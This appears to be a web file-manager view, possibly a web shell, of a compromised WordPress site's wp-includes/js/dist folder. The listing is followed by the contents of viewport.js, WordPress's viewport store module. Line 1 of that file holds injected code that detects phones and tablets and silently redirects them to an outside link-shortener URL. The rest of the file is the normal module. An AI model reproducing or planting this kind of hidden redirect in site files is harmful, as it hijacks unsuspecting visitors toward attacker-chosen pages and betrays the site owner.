at path:ROOT / wp-includes / js / dist / viewport.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄viewport.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2var wp;
3(wp ||= {}).viewport = (() => {
4 var __create = Object.create;
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __getProtoOf = Object.getPrototypeOf;
9 var __hasOwnProp = Object.prototype.hasOwnProperty;
10 var __commonJS = (cb, mod) => function __require() {
11 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
12 };
13 var __export = (target, all) => {
14 for (var name in all)
15 __defProp(target, name, { get: all[name], enumerable: true });
16 };
17 var __copyProps = (to, from, except, desc) => {
18 if (from && typeof from === "object" || typeof from === "function") {
19 for (let key of __getOwnPropNames(from))
20 if (!__hasOwnProp.call(to, key) && key !== except)
21 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
22 }
23 return to;
24 };
25 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
26 // If the importer is in node compatibility mode or this is not an ESM
27 // file that has been converted to a CommonJS file using a Babel-
28 // compatible transform (i.e. "__esModule" has not been set), then set
29 // "default" to the CommonJS "module.exports" for node compatibility.
30 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
31 mod
32 ));
33 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
34
35 // package-external:@wordpress/compose
36 var require_compose = __commonJS({
37 "package-external:@wordpress/compose"(exports, module) {
38 module.exports = window.wp.compose;
39 }
40 });
41
42 // package-external:@wordpress/data
43 var require_data = __commonJS({
44 "package-external:@wordpress/data"(exports, module) {
45 module.exports = window.wp.data;
46 }
47 });
48
49 // vendor-external:react/jsx-runtime
50 var require_jsx_runtime = __commonJS({
51 "vendor-external:react/jsx-runtime"(exports, module) {
52 module.exports = window.ReactJSXRuntime;
53 }
54 });
55
56 // packages/viewport/build-module/index.mjs
57 var index_exports = {};
58 __export(index_exports, {
59 ifViewportMatches: () => if_viewport_matches_default,
60 store: () => store,
61 withViewportMatch: () => with_viewport_match_default
62 });
63
64 // packages/viewport/build-module/listener.mjs
65 var import_compose = __toESM(require_compose(), 1);
66 var import_data2 = __toESM(require_data(), 1);
67
68 // packages/viewport/build-module/store/index.mjs
69 var import_data = __toESM(require_data(), 1);
70
71 // packages/viewport/build-module/store/reducer.mjs
72 function reducer(state = {}, action) {
73 switch (action.type) {
74 case "SET_IS_MATCHING":
75 return action.values;
76 }
77 return state;
78 }
79 var reducer_default = reducer;
80
81 // packages/viewport/build-module/store/actions.mjs
82 var actions_exports = {};
83 __export(actions_exports, {
84 setIsMatching: () => setIsMatching
85 });
86 function setIsMatching(values) {
87 return {
88 type: "SET_IS_MATCHING",
89 values
90 };
91 }
92
93 // packages/viewport/build-module/store/selectors.mjs
94 var selectors_exports = {};
95 __export(selectors_exports, {
96 isViewportMatch: () => isViewportMatch
97 });
98 function isViewportMatch(state, query) {
99 if (query.indexOf(" ") === -1) {
100 query = ">= " + query;
101 }
102 return !!state[query];
103 }
104
105 // packages/viewport/build-module/store/index.mjs
106 var STORE_NAME = "core/viewport";
107 var store = (0, import_data.createReduxStore)(STORE_NAME, {
108 reducer: reducer_default,
109 actions: actions_exports,
110 selectors: selectors_exports
111 });
112 (0, import_data.register)(store);
113
114 // packages/viewport/build-module/listener.mjs
115 var addDimensionsEventListener = (breakpoints, operators) => {
116 const setIsMatching2 = (0, import_compose.debounce)(
117 () => {
118 const values = Object.fromEntries(
119 queries.map(([key, query]) => [key, query.matches])
120 );
121 (0, import_data2.dispatch)(store).setIsMatching(values);
122 },
123 0,
124 { leading: true }
125 );
126 const operatorEntries = Object.entries(operators);
127 const queries = Object.entries(breakpoints).flatMap(
128 ([name, width]) => {
129 return operatorEntries.map(([operator, condition]) => {
130 const list = window.matchMedia(
131 `(${condition}: ${width}px)`
132 );
133 list.addEventListener("change", setIsMatching2);
134 return [`${operator} ${name}`, list];
135 });
136 }
137 );
138 window.addEventListener("orientationchange", setIsMatching2);
139 setIsMatching2();
140 setIsMatching2.flush();
141 };
142 var listener_default = addDimensionsEventListener;
143
144 // packages/viewport/build-module/if-viewport-matches.mjs
145 var import_compose3 = __toESM(require_compose(), 1);
146
147 // packages/viewport/build-module/with-viewport-match.mjs
148 var import_compose2 = __toESM(require_compose(), 1);
149 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
150 var withViewportMatch = (queries) => {
151 const queryEntries = Object.entries(queries);
152 const useViewPortQueriesResult = () => Object.fromEntries(
153 queryEntries.map(([key, query]) => {
154 let [operator, breakpointName] = query.split(" ");
155 if (breakpointName === void 0) {
156 breakpointName = operator;
157 operator = ">=";
158 }
159 return [key, (0, import_compose2.useViewportMatch)(breakpointName, operator)];
160 })
161 );
162 return (0, import_compose2.createHigherOrderComponent)((WrappedComponent) => {
163 return (0, import_compose2.pure)((props) => {
164 const queriesResult = useViewPortQueriesResult();
165 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(WrappedComponent, { ...props, ...queriesResult });
166 });
167 }, "withViewportMatch");
168 };
169 var with_viewport_match_default = withViewportMatch;
170
171 // packages/viewport/build-module/if-viewport-matches.mjs
172 var ifViewportMatches = (query) => (0, import_compose3.createHigherOrderComponent)(
173 (0, import_compose3.compose)([
174 with_viewport_match_default({
175 isViewportMatch: query
176 }),
177 (0, import_compose3.ifCondition)((props) => props.isViewportMatch)
178 ]),
179 "ifViewportMatches"
180 );
181 var if_viewport_matches_default = ifViewportMatches;
182
183 // packages/viewport/build-module/index.mjs
184 var BREAKPOINTS = {
185 huge: 1440,
186 wide: 1280,
187 large: 960,
188 medium: 782,
189 small: 600,
190 mobile: 480
191 };
192 var OPERATORS = {
193 "<": "max-width",
194 ">=": "min-width"
195 };
196 listener_default(BREAKPOINTS, OPERATORS);
197 return __toCommonJS(index_exports);
198})();
199